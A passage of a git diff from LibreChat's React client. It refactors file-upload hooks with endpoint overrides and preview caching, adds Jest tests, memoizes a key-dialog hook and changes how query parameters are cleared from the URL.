[KnownEndpoints.cohere]: {
[IconContext.landing]: 'p-2',
},
- [KnownEndpoints.xai]: {
- [IconContext.landing]: 'p-2',
- },
};
const getKnownClass = ({
@@ -73,15 +70,11 @@ function UnknownIcon({
const currentEndpoint = endpoint.toLowerCase();
if (currentEndpoint === KnownEndpoints.xai) {
- return (
-
- );
+ return ;
+ }
+
+ if (currentEndpoint === KnownEndpoints.moonshot) {
+ return ;
}
if (iconURL) {
diff --git a/client/src/hooks/Endpoint/useKeyDialog.ts b/client/src/hooks/Endpoint/useKeyDialog.ts
index d783320fd6..89a156f57a 100644
--- a/client/src/hooks/Endpoint/useKeyDialog.ts
+++ b/client/src/hooks/Endpoint/useKeyDialog.ts
@@ -1,4 +1,4 @@
-import { useState, useCallback } from 'react';
+import { useState, useCallback, useMemo } from 'react';
import { EModelEndpoint } from 'librechat-data-provider';
export const useKeyDialog = () => {
@@ -15,24 +15,30 @@ export const useKeyDialog = () => {
[],
);
- const onOpenChange = (open: boolean) => {
- if (!open && keyDialogEndpoint) {
- const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`);
- if (button) {
- setTimeout(() => {
- button.focus();
- }, 5);
+ const onOpenChange = useCallback(
+ (open: boolean) => {
+ if (!open && keyDialogEndpoint) {
+ const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`);
+ if (button) {
+ setTimeout(() => {
+ button.focus();
+ }, 5);
+ }
}
- }
- setKeyDialogOpen(open);
- };
+ setKeyDialogOpen(open);
+ },
+ [keyDialogEndpoint],
+ );
- return {
- keyDialogOpen,
- keyDialogEndpoint,
- onOpenChange,
- handleOpenKeyDialog,
- };
+ return useMemo(
+ () => ({
+ keyDialogOpen,
+ keyDialogEndpoint,
+ onOpenChange,
+ handleOpenKeyDialog,
+ }),
+ [keyDialogOpen, keyDialogEndpoint, onOpenChange, handleOpenKeyDialog],
+ );
};
export default useKeyDialog;
diff --git a/client/src/hooks/Files/__tests__/useFileHandling.test.ts b/client/src/hooks/Files/__tests__/useFileHandling.test.ts
new file mode 100644
index 0000000000..0a07c5f2b4
--- /dev/null
+++ b/client/src/hooks/Files/__tests__/useFileHandling.test.ts
@@ -0,0 +1,289 @@
+import { renderHook, act } from '@testing-library/react';
+import { Constants, EModelEndpoint, getEndpointFileConfig } from 'librechat-data-provider';
+
+beforeAll(() => {
+ global.URL.createObjectURL = jest.fn(() => 'blob:mock-url');
+ global.URL.revokeObjectURL = jest.fn();
+});
+
+const mockShowToast = jest.fn();
+const mockSetFilesLoading = jest.fn();
+const mockMutate = jest.fn();
+
+let mockConversation: Record = {};
+
+jest.mock('~/Providers/ChatContext', () => ({
+ useChatContext: jest.fn(() => ({
+ files: new Map(),
+ setFiles: jest.fn(),
+ setFilesLoading: mockSetFilesLoading,
+ conversation: mockConversation,
+ })),
+}));
+
+jest.mock('@librechat/client', () => ({
+ useToastContext: jest.fn(() => ({
+ showToast: mockShowToast,
+ })),
+}));
+
+jest.mock('recoil', () => ({
+ ...jest.requireActual('recoil'),
+ useSetRecoilState: jest.fn(() => jest.fn()),
+}));
+
+jest.mock('~/store', () => ({
+ ephemeralAgentByConvoId: jest.fn(() => ({ key: 'mock' })),
+}));
+
+jest.mock('@tanstack/react-query', () => ({
+ useQueryClient: jest.fn(() => ({
+ getQueryData: jest.fn(),
+ refetchQueries: jest.fn(),
+ })),
+}));
+
+jest.mock('~/data-provider', () => ({
+ useGetFileConfig: jest.fn(() => ({ data: null })),
+ useUploadFileMutation: jest.fn((_opts: Record) => ({
+ mutate: mockMutate,
+ })),
+}));
+
+jest.mock('~/hooks/useLocalize', () => {
+ const fn = jest.fn((key: string) => key) as jest.Mock & {
+ TranslationKeys: Record;
+ };
+ fn.TranslationKeys = {};
+ return { __esModule: true, default: fn, TranslationKeys: {} };
+});
+
+jest.mock('../useDelayedUploadToast', () => ({
+ useDelayedUploadToast: jest.fn(() => ({
+ startUploadTimer: jest.fn(),
+ clearUploadTimer: jest.fn(),
+ })),
+}));
+
+jest.mock('~/utils/heicConverter', () => ({
+ processFileForUpload: jest.fn(async (file: File) => file),
+}));
+
+jest.mock('../useClientResize', () => ({
+ __esModule: true,
+ default: jest.fn(() => ({
+ resizeImageIfNeeded: jest.fn(async (file: File) => ({ file, resized: false })),
+ })),
+}));
+
+jest.mock('../useUpdateFiles', () => ({
+ __esModule: true,
+ default: jest.fn(() => ({
+ addFile: jest.fn(),
+ replaceFile: jest.fn(),
+ updateFileById: jest.fn(),
+ deleteFileById: jest.fn(),
+ })),
+}));
+
+jest.mock('~/utils', () => ({
+ logger: { log: jest.fn() },
+ validateFiles: jest.fn(() => true),
+ cachePreview: jest.fn(),
+ getCachedPreview: jest.fn(() => undefined),
+}));
+
+const mockValidateFiles = jest.requireMock('~/utils').validateFiles;
+
+describe('useFileHandling', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ mockConversation = {};
+ });
+
+ const loadHook = async () => (await import('../useFileHandling')).default;
+
+ describe('endpointOverride', () => {
+ it('uses conversation endpoint when no override is provided', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'openAI',
+ endpointType: 'custom',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() => useFileHandling());
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockValidateFiles).toHaveBeenCalledTimes(1);
+ const validateCall = mockValidateFiles.mock.calls[0][0];
+ const configResult = getEndpointFileConfig({
+ endpoint: 'openAI',
+ endpointType: 'custom',
+ fileConfig: null,
+ });
+ expect(validateCall.endpointFileConfig).toEqual(configResult);
+ });
+
+ it('uses endpointOverride for validation instead of conversation endpoint', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'openAI',
+ endpointType: 'custom',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() =>
+ useFileHandling({ endpointOverride: EModelEndpoint.agents }),
+ );
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockValidateFiles).toHaveBeenCalledTimes(1);
+ const validateCall = mockValidateFiles.mock.calls[0][0];
+ const agentsConfig = getEndpointFileConfig({
+ endpoint: EModelEndpoint.agents,
+ endpointType: EModelEndpoint.agents,
+ fileConfig: null,
+ });
+ expect(validateCall.endpointFileConfig).toEqual(agentsConfig);
+ });
+
+ it('falls back to conversation endpoint when endpointOverride is undefined', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'anthropic',
+ endpointType: undefined,
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() => useFileHandling({ endpointOverride: undefined }));
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockValidateFiles).toHaveBeenCalledTimes(1);
+ const validateCall = mockValidateFiles.mock.calls[0][0];
+ const anthropicConfig = getEndpointFileConfig({
+ endpoint: 'anthropic',
+ endpointType: undefined,
+ fileConfig: null,
+ });
+ expect(validateCall.endpointFileConfig).toEqual(anthropicConfig);
+ });
+
+ it('sends correct endpoint in upload form data when override is set', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'openAI',
+ endpointType: 'custom',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() =>
+ useFileHandling({
+ endpointOverride: EModelEndpoint.agents,
+ additionalMetadata: { agent_id: 'agent-123' },
+ }),
+ );
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockMutate).toHaveBeenCalledTimes(1);
+ const formData: FormData = mockMutate.mock.calls[0][0];
+ expect(formData.get('endpoint')).toBe(EModelEndpoint.agents);
+ expect(formData.get('endpointType')).toBe(EModelEndpoint.agents);
+ });
+
+ it('does not enter assistants upload path when override is agents', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'assistants',
+ endpointType: 'assistants',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() =>
+ useFileHandling({
+ endpointOverride: EModelEndpoint.agents,
+ additionalMetadata: { agent_id: 'agent-123' },
+ }),
+ );
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockMutate).toHaveBeenCalledTimes(1);
+ const formData: FormData = mockMutate.mock.calls[0][0];
+ expect(formData.get('endpoint')).toBe(EModelEndpoint.agents);
+ expect(formData.get('message_file')).toBeNull();
+ expect(formData.get('version')).toBeNull();
+ expect(formData.get('model')).toBeNull();
+ expect(formData.get('assistant_id')).toBeNull();
+ });
+
+ it('enters assistants path without override when conversation is assistants', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'assistants',
+ endpointType: 'assistants',
+ assistant_id: 'asst-456',
+ model: 'gpt-4',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() => useFileHandling());
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockMutate).toHaveBeenCalledTimes(1);
+ const formData: FormData = mockMutate.mock.calls[0][0];
+ expect(formData.get('endpoint')).toBe('assistants');
+ expect(formData.get('message_file')).toBe('true');
+ });
+
+ it('falls back to "default" when no conversation endpoint and no override', async () => {
+ mockConversation = {
+ conversationId: Constants.NEW_CONVO as string,
+ endpoint: null,
+ endpointType: undefined,
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() => useFileHandling());
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockMutate).toHaveBeenCalledTimes(1);
+ const formData: FormData = mockMutate.mock.calls[0][0];
+ expect(formData.get('endpoint')).toBe('default');
+ });
+ });
+});
diff --git a/client/src/hooks/Files/useDragHelpers.ts b/client/src/hooks/Files/useDragHelpers.ts
index f931da408c..7c6c3bd155 100644
--- a/client/src/hooks/Files/useDragHelpers.ts
+++ b/client/src/hooks/Files/useDragHelpers.ts
@@ -13,6 +13,7 @@ import {
EModelEndpoint,
mergeFileConfig,
AgentCapabilities,
+ resolveEndpointType,
isAssistantsEndpoint,
getEndpointFileConfig,
defaultAgentCapabilities,
@@ -69,7 +70,19 @@ export default function useDragHelpers() {
(item: { files: File[] }) => {
/** Early block: leverage endpoint file config to prevent drag/drop on disabled endpoints */
const currentEndpoint = conversationRef.current?.endpoint ?? 'default';
- const currentEndpointType = conversationRef.current?.endpointType ?? undefined;
+ const endpointsConfig = queryClient.getQueryData([QueryKeys.endpoints]);
+
+ /** Get agent data from cache; if absent, provider-specific file config restrictions are bypassed client-side */
+ const agentId = conversationRef.current?.agent_id;
+ const agent = agentId
+ ? queryClient.getQueryData([QueryKeys.agent, agentId])
+ : undefined;
+
+ const currentEndpointType = resolveEndpointType(
+ endpointsConfig,
+ currentEndpoint,
+ agent?.provider,
+ );
const cfg = queryClient.getQueryData([QueryKeys.fileConfig]);
if (cfg) {
const mergedCfg = mergeFileConfig(cfg);
@@ -92,27 +105,21 @@ export default function useDragHelpers() {
return;
}
- const endpointsConfig = queryClient.getQueryData([QueryKeys.endpoints]);
const agentsConfig = endpointsConfig?.[EModelEndpoint.agents];
const capabilities = agentsConfig?.capabilities ?? defaultAgentCapabilities;
const fileSearchEnabled = capabilities.includes(AgentCapabilities.file_search) === true;
const codeEnabled = capabilities.includes(AgentCapabilities.execute_code) === true;
const contextEnabled = capabilities.includes(AgentCapabilities.context) === true;
- /** Get agent permissions at drop time */
- const agentId = conversationRef.current?.agent_id;
let fileSearchAllowedByAgent = true;
let codeAllowedByAgent = true;
if (agentId && !isEphemeralAgent(agentId)) {
- /** Agent data from cache */
- const agent = queryClient.getQueryData([QueryKeys.agent, agentId]);
if (agent) {
const agentTools = agent.tools as string[] | undefined;
fileSearchAllowedByAgent = agentTools?.includes(Tools.file_search) ?? false;
codeAllowedByAgent = agentTools?.includes(Tools.execute_code) ?? false;
} else {
- /** If agent exists but not found, disallow */
fileSearchAllowedByAgent = false;
codeAllowedByAgent = false;
}
diff --git a/client/src/hooks/Files/useFileDeletion.ts b/client/src/hooks/Files/useFileDeletion.ts
index 34d89e313b..c33ac2a50b 100644
--- a/client/src/hooks/Files/useFileDeletion.ts
+++ b/client/src/hooks/Files/useFileDeletion.ts
@@ -5,6 +5,7 @@ import type * as t from 'librechat-data-provider';
import type { UseMutateAsyncFunction } from '@tanstack/react-query';
import type { ExtendedFile, GenericSetter } from '~/common';
import useSetFilesToDelete from './useSetFilesToDelete';
+import { deletePreview } from '~/utils';
type FileMapSetter = GenericSetter>;
@@ -88,6 +89,11 @@ const useFileDeletion = ({
});
}
+ deletePreview(file_id);
+ if (temp_file_id) {
+ deletePreview(temp_file_id);
+ }
+
if (attached) {
return;
}
@@ -125,6 +131,11 @@ const useFileDeletion = ({
temp_file_id,
embedded: embedded ?? false,
});
+
+ deletePreview(file_id);
+ if (temp_file_id) {
+ deletePreview(temp_file_id);
+ }
}
if (setFiles) {
diff --git a/client/src/hooks/Files/useFileHandling.ts b/client/src/hooks/Files/useFileHandling.ts
index 4c65b80765..635937a6fa 100644
--- a/client/src/hooks/Files/useFileHandling.ts
+++ b/client/src/hooks/Files/useFileHandling.ts
@@ -13,15 +13,16 @@ import {
defaultAssistantsVersion,
} from 'librechat-data-provider';
import debounce from 'lodash/debounce';
-import type { TEndpointsConfig, TError } from 'librechat-data-provider';
+import type { EModelEndpoint, TEndpointsConfig, TError } from 'librechat-data-provider';
import type { ExtendedFile, FileSetter } from '~/common';
+import type { TConversation } from 'librechat-data-provider';
+import { logger, validateFiles, cachePreview, getCachedPreview, removePreviewEntry } from '~/utils';
import { useGetFileConfig, useUploadFileMutation } from '~/data-provider';
import useLocalize, { TranslationKeys } from '~/hooks/useLocalize';
import { useDelayedUploadToast } from './useDelayedUploadToast';
import { processFileForUpload } from '~/utils/heicConverter';
import { useChatContext } from '~/Providers/ChatContext';
import { ephemeralAgentByConvoId } from '~/store';
-import { logger, validateFiles } from '~/utils';
import useClientResize from './useClientResize';
import useUpdateFiles from './useUpdateFiles';
@@ -29,16 +30,30 @@ type UseFileHandling = {
fileSetter?: FileSetter;
fileFilter?: (file: File) => boolean;
additionalMetadata?: Record;
+ /** Overrides `endpoint` for upload routing; also used as `endpointType` fallback when `endpointTypeOverride` is not set */
+ endpointOverride?: EModelEndpoint | string;
+ /** Overrides `endpointType` independently from `endpointOverride` */
+ endpointTypeOverride?: EModelEndpoint | string;
};
-const useFileHandling = (params?: UseFileHandling) => {
+export type FileHandlingState = {
+ files: Map;
+ setFiles: FileSetter;
+ setFilesLoading?: React.Dispatch>;
+ conversation?: TConversation | null;
+};
+
+const noop = () => {};
+
+const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: FileHandlingState) => {
const localize = useLocalize();
const queryClient = useQueryClient();
const { showToast } = useToastContext();
const [errors, setErrors] = useState([]);
const abortControllerRef = useRef(null);
const { startUploadTimer, clearUploadTimer } = useDelayedUploadToast();
- const { files, setFiles, setFilesLoading, conversation } = useChatContext();
+ const { files, setFiles, conversation } = fileState;
+ const setFilesLoading = fileState.setFilesLoading ?? noop;
const setEphemeralAgent = useSetRecoilState(
ephemeralAgentByConvoId(conversation?.conversationId ?? Constants.NEW_CONVO),
);
@@ -50,8 +65,16 @@ const useFileHandling = (params?: UseFileHandling) => {
const agent_id = params?.additionalMetadata?.agent_id ?? '';
const assistant_id = params?.additionalMetadata?.assistant_id ?? '';
- const endpointType = useMemo(() => conversation?.endpointType, [conversation?.endpointType]);
- const endpoint = useMemo(() => conversation?.endpoint ?? 'default', [conversation?.endpoint]);
+ const endpointOverride = params?.endpointOverride;
+ const endpointTypeOverride = params?.endpointTypeOverride;
+ const endpointType = useMemo(
+ () => endpointTypeOverride ?? endpointOverride ?? conversation?.endpointType,
+ [endpointTypeOverride, endpointOverride, conversation?.endpointType],
+ );
+ const endpoint = useMemo(
+ () => endpointOverride ?? conversation?.endpoint ?? 'default',
+ [endpointOverride, conversation?.endpoint],
+ );
const { data: fileConfig = null } = useGetFileConfig({
select: (data) => mergeFileConfig(data),
@@ -110,6 +133,11 @@ const useFileHandling = (params?: UseFileHandling) => {
);
setTimeout(() => {
+ const cachedBlob = getCachedPreview(data.temp_file_id);
+ if (cachedBlob && data.file_id !== data.temp_file_id) {
+ cachePreview(data.file_id, cachedBlob);
+ removePreviewEntry(data.temp_file_id);
+ }
updateFileById(
data.temp_file_id,
{
@@ -240,7 +268,6 @@ const useFileHandling = (params?: UseFileHandling) => {
replaceFile(extendedFile);
await startUpload(extendedFile);
- URL.revokeObjectURL(preview);
};
img.src = preview;
};
@@ -281,6 +308,7 @@ const useFileHandling = (params?: UseFileHandling) => {
try {
// Create initial preview with original file
const initialPreview = URL.createObjectURL(originalFile);
+ cachePreview(file_id, initialPreview);
// Create initial ExtendedFile to show immediately
const initialExtendedFile: ExtendedFile = {
@@ -358,6 +386,7 @@ const useFileHandling = (params?: UseFileHandling) => {
if (finalProcessedFile !== originalFile) {
URL.revokeObjectURL(initialPreview); // Clean up original preview
const newPreview = URL.createObjectURL(finalProcessedFile);
+ cachePreview(file_id, newPreview);
const updatedExtendedFile: ExtendedFile = {
...initialExtendedFile,
@@ -434,4 +463,20 @@ const useFileHandling = (params?: UseFileHandling) => {
};
};
+export const useFileHandlingNoChatContext = (
+ params: UseFileHandling | undefined,
+ fileState: FileHandlingState,
+) => useFileHandlingCore(params, fileState);
+
+const useFileHandling = (params?: UseFileHandling) => {
+ const { files, setFiles, setFilesLoading, conversation } = useChatContext();
+
+ return useFileHandlingCore(params, {
+ files,
+ setFiles,
+ conversation,
+ setFilesLoading,
+ });
+};
+
export default useFileHandling;
diff --git a/client/src/hooks/Files/useSharePointFileHandling.ts b/client/src/hooks/Files/useSharePointFileHandling.ts
index 11fc0915b7..a04ef0104b 100644
--- a/client/src/hooks/Files/useSharePointFileHandling.ts
+++ b/client/src/hooks/Files/useSharePointFileHandling.ts
@@ -1,13 +1,17 @@
import { useCallback } from 'react';
-import useFileHandling from './useFileHandling';
-import useSharePointDownload from './useSharePointDownload';
+import type { EModelEndpoint } from 'librechat-data-provider';
import type { SharePointFile } from '~/data-provider/Files/sharepoint';
+import type { FileHandlingState } from './useFileHandling';
+import useFileHandling, { useFileHandlingNoChatContext } from './useFileHandling';
+import useSharePointDownload from './useSharePointDownload';
interface UseSharePointFileHandlingProps {
fileSetter?: any;
toolResource?: string;
fileFilter?: (file: File) => boolean;
additionalMetadata?: Record;
+ endpointOverride?: EModelEndpoint | string;
+ endpointTypeOverride?: EModelEndpoint | string;
}
interface UseSharePointFileHandlingReturn {
@@ -21,6 +25,43 @@ export default function useSharePointFileHandling(
props?: UseSharePointFileHandlingProps,
): UseSharePointFileHandlingReturn {
const { handleFiles } = useFileHandling(props);
+ const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload(
+ {
+ onFilesDownloaded: async (downloadedFiles: File[]) => {
+ const fileArray = Array.from(downloadedFiles);
+ await handleFiles(fileArray, props?.toolResource);
+ },
+ onError: (error) => {
+ console.error('SharePoint download failed:', error);
+ },
+ },
+ );
+
+ const handleSharePointFiles = useCallback(
+ async (sharePointFiles: SharePointFile[]) => {
+ try {
+ await downloadSharePointFiles(sharePointFiles);
+ } catch (error) {
+ console.error('SharePoint file handling error:', error);
+ throw error;
+ }
+ },
+ [downloadSharePointFiles],
+ );
+
+ return {
+ handleSharePointFiles,
+ isProcessing: isDownloading,
+ downloadProgress,
+ error,
+ };
+}
+
+export function useSharePointFileHandlingNoChatContext(
+ props: UseSharePointFileHandlingProps | undefined,
+ fileState: FileHandlingState,
+): UseSharePointFileHandlingReturn {
+ const { handleFiles } = useFileHandlingNoChatContext(props, fileState);
const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload(
{
diff --git a/client/src/hooks/Input/useQueryParams.spec.ts b/client/src/hooks/Input/useQueryParams.spec.ts
index 927df94941..f8b30b2eda 100644
--- a/client/src/hooks/Input/useQueryParams.spec.ts
+++ b/client/src/hooks/Input/useQueryParams.spec.ts
@@ -220,9 +220,14 @@ describe('useQueryParams', () => {
handleSubmit: jest.fn((callback) => () => callback({ text: 'test message' })),
});
- // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+ getQueryData: jest.fn().mockImplementation((key) => {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
+ }
+ return null;
+ }),
});
setUrlParams({ q: 'hello world' });
@@ -241,7 +246,11 @@ describe('useQueryParams', () => {
'hello world',
expect.objectContaining({ shouldValidate: true }),
);
- expect(window.history.replaceState).toHaveBeenCalled();
+ const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1];
+ const [params, options] = mockSetSearchParams.mock.calls[0];
+ expect(params).toBeInstanceOf(URLSearchParams);
+ expect(params.toString()).toBe('');
+ expect(options).toEqual(expect.objectContaining({ replace: true }));
});
it('should auto-submit message when submit=true and no settings to apply', () => {
@@ -266,9 +275,14 @@ describe('useQueryParams', () => {
submitMessage: mockSubmitMessage,
});
- // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+ getQueryData: jest.fn().mockImplementation((key) => {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
+ }
+ return null;
+ }),
});
setUrlParams({ q: 'hello world', submit: 'true' });
@@ -304,13 +318,14 @@ describe('useQueryParams', () => {
} as unknown as HTMLTextAreaElement,
};
- // Mock getQueryData to return array format for startupConfig
+ // Mock getQueryData to return array format for startupConfig and endpoints
const mockGetQueryData = jest.fn().mockImplementation((key) => {
- if (Array.isArray(key) && key[0] === 'startupConfig') {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
return { modelSpecs: { list: [] } };
}
- if (key === 'startupConfig') {
- return { modelSpecs: { list: [] } };
+ if (k === 'endpoints') {
+ return {};
}
return null;
});
@@ -396,14 +411,15 @@ describe('useQueryParams', () => {
newConversation: mockNewConversation,
});
- // Mock startup config to allow processing
+ // Mock startup config and endpoints to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
getQueryData: jest.fn().mockImplementation((key) => {
- if (Array.isArray(key) && key[0] === 'startupConfig') {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
return { modelSpecs: { list: [] } };
}
- if (key === 'startupConfig') {
- return { modelSpecs: { list: [] } };
+ if (k === 'endpoints') {
+ return {};
}
return null;
}),
@@ -454,9 +470,14 @@ describe('useQueryParams', () => {
submitMessage: mockSubmitMessage,
});
- // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+ getQueryData: jest.fn().mockImplementation((key) => {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
+ }
+ return null;
+ }),
});
setUrlParams({ model: 'gpt-4' }); // No submit=true
@@ -500,9 +521,14 @@ describe('useQueryParams', () => {
submitMessage: mockSubmitMessage,
});
- // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+ getQueryData: jest.fn().mockImplementation((key) => {
+ const k = Array.isArray(key) ? key[0] : key;
+ if (k === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
+ }
+ return null;
+ }),
});
setUrlParams({}); // Empty params
@@ -524,6 +550,10 @@ describe('useQueryParams', () => {
expect(mockSetValue).not.toHaveBeenCalled();
expect(mockHandleSubmit).not.toHaveBeenCalled();
expect(mockSubmitMessage).not.toHaveBeenCalled();
- expect(window.history.replaceState).toHaveBeenCalled();
+ const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1];
+ const [params, options] = mockSetSearchParams.mock.calls[0];
+ expect(params).toBeInstanceOf(URLSearchParams);
+ expect(params.toString()).toBe('');
+ expect(options).toEqual(expect.objectContaining({ replace: true }));
});
});
diff --git a/client/src/hooks/Input/useQueryParams.ts b/client/src/hooks/Input/useQueryParams.ts
index 7c9ff58042..b29f408a3a 100644
--- a/client/src/hooks/Input/useQueryParams.ts
+++ b/client/src/hooks/Input/useQueryParams.ts
@@ -2,24 +2,17 @@ import { useEffect, useCallback, useRef } from 'react';
import { useRecoilValue } from 'recoil';
import { useSearchParams } from 'react-router-dom';
import { QueryClient, useQueryClient } from '@tanstack/react-query';
-import {
- QueryKeys,
- EModelEndpoint,
- isAgentsEndpoint,
- tQueryParamsSchema,
- isAssistantsEndpoint,
- PermissionBits,
-} from 'librechat-data-provider';
+import { QueryKeys, EModelEndpoint, PermissionBits } from 'librechat-data-provider';
import type {
AgentListResponse,
TEndpointsConfig,
TStartupConfig,
TPreset,
} from 'librechat-data-provider';
-import type { ZodAny } from 'zod';
import {
clearModelForNonEphemeralAgent,
removeUnavailableTools,
+ processValidSettings,
getModelSpecIconURL,
getConvoSwitchLogic,
logger,
@@ -29,62 +22,6 @@ import { useChatContext, useChatFormContext } from '~/Providers';
import { useGetAgentByIdQuery } from '~/data-provider';
import store from '~/store';
-/**
- * Parses query parameter values, converting strings to their appropriate types.
- * Handles boolean strings, numbers, and preserves regular strings.
- */
-const parseQueryValue = (value: string) => {
- if (value === 'true') {
- return true;
- }
- if (value === 'false') {
- return false;
- }
- if (!isNaN(Number(value))) {
- return Number(value);
- }
- return value;
-};
-
-/**
- * Processes and validates URL query parameters using schema definitions.
- * Extracts valid settings based on tQueryParamsSchema and handles special endpoint cases
- * for assistants and agents.
- */
-const processValidSettings = (queryParams: Record) => {
- const validSettings = {} as TPreset;
-
- Object.entries(queryParams).forEach(([key, value]) => {
- try {
- const schema = tQueryParamsSchema.shape[key] as ZodAny | undefined;
- if (schema) {
- const parsedValue = parseQueryValue(value);
- const validValue = schema.parse(parsedValue);
- validSettings[key] = validValue;
- }
- } catch (error) {
- console.warn(`Invalid value for setting ${key}:`, error);
- }
- });
-
- if (
- validSettings.assistant_id != null &&
- validSettings.assistant_id &&
- !isAssistantsEndpoint(validSettings.endpoint)
- ) {
- validSettings.endpoint = EModelEndpoint.assistants;
- }
- if (
- validSettings.agent_id != null &&
- validSettings.agent_id &&
- !isAgentsEndpoint(validSettings.endpoint)
- ) {
- validSettings.endpoint = EModelEndpoint.agents;
- }
-
- return validSettings;
-};
-
const injectAgentIntoAgentsMap = (queryClient: QueryClient, agent: any) => {
const editCacheKey = [QueryKeys.agents, { requiredPermission: PermissionBits.EDIT }];
const editCache = queryClient.getQueryData(editCacheKey);
@@ -244,13 +181,12 @@ export default function useQueryParams({
],
);
- /**
- * Checks if all settings from URL parameters have been successfully applied to the conversation.
- * Compares values from validSettings against the current conversation state, handling special properties.
- * Returns true only when all relevant settings match the target values.
- */
+ const conversationRef = useRef(conversation);
+ conversationRef.current = conversation;
+
const areSettingsApplied = useCallback(() => {
- if (!validSettingsRef.current || !conversation) {
+ const convo = conversationRef.current;
+ if (!validSettingsRef.current || !convo) {
return false;
}
@@ -259,13 +195,13 @@ export default function useQueryParams({
continue;
}
- if (conversation[key] !== value) {
+ if (convo[key] !== value) {
return false;
}
}
return true;
- }, [conversation]);
+ }, []);
/**
* Processes message submission exactly once, preventing duplicate submissions.
@@ -285,14 +221,12 @@ export default function useQueryParams({
methods.handleSubmit((data) => {
if (data.text?.trim()) {
submitMessage(data);
-
- const newUrl = window.location.pathname;
- window.history.replaceState({}, '', newUrl);
-
- console.log('Message submitted with conversation state:', conversation);
+ logger.log('conversation', 'Message submitted from query params');
}
})();
- }, [methods, submitMessage, conversation]);
+
+ setSearchParams(new URLSearchParams(), { replace: true });
+ }, [methods, submitMessage, setSearchParams]);
useEffect(() => {
const processQueryParams = () => {
@@ -332,6 +266,7 @@ export default function useQueryParams({
}
const { decodedPrompt, validSettings, shouldAutoSubmit } = processQueryParams();
+ const hasSettings = Object.keys(validSettings).length > 0;
if (!shouldAutoSubmit) {
submissionHandledRef.current = true;
@@ -339,45 +274,36 @@ export default function useQueryParams({
/** Mark processing as complete and clean up as needed */
const success = () => {
- const paramString = searchParams.toString();
- const currentParams = new URLSearchParams(paramString);
- currentParams.delete('prompt');
- currentParams.delete('q');
- currentParams.delete('submit');
-
- setSearchParams(currentParams, { replace: true });
processedRef.current = true;
- console.log('Parameters processed successfully', paramString);
+ logger.log('conversation', 'Query parameters processed successfully');
clearInterval(intervalId);
- // Only clean URL if there's no pending submission
+ // Defer URL cleanup until after submission completes (processSubmission handles it)
if (!pendingSubmitRef.current) {
- const newUrl = window.location.pathname;
- window.history.replaceState({}, '', newUrl);
+ setSearchParams(new URLSearchParams(), { replace: true });
}
};
- // Store settings for later comparison
- if (Object.keys(validSettings).length > 0) {
+ if (hasSettings) {
validSettingsRef.current = validSettings;
}
- // Save the prompt text for later use if needed
if (decodedPrompt) {
promptTextRef.current = decodedPrompt;
}
// Handle auto-submission
if (shouldAutoSubmit && decodedPrompt) {
- if (Object.keys(validSettings).length > 0) {
+ if (hasSettings) {
// Settings are changing, defer submission
pendingSubmitRef.current = true;
// Set a timeout to handle the case where settings might never fully apply
settingsTimeoutRef.current = setTimeout(() => {
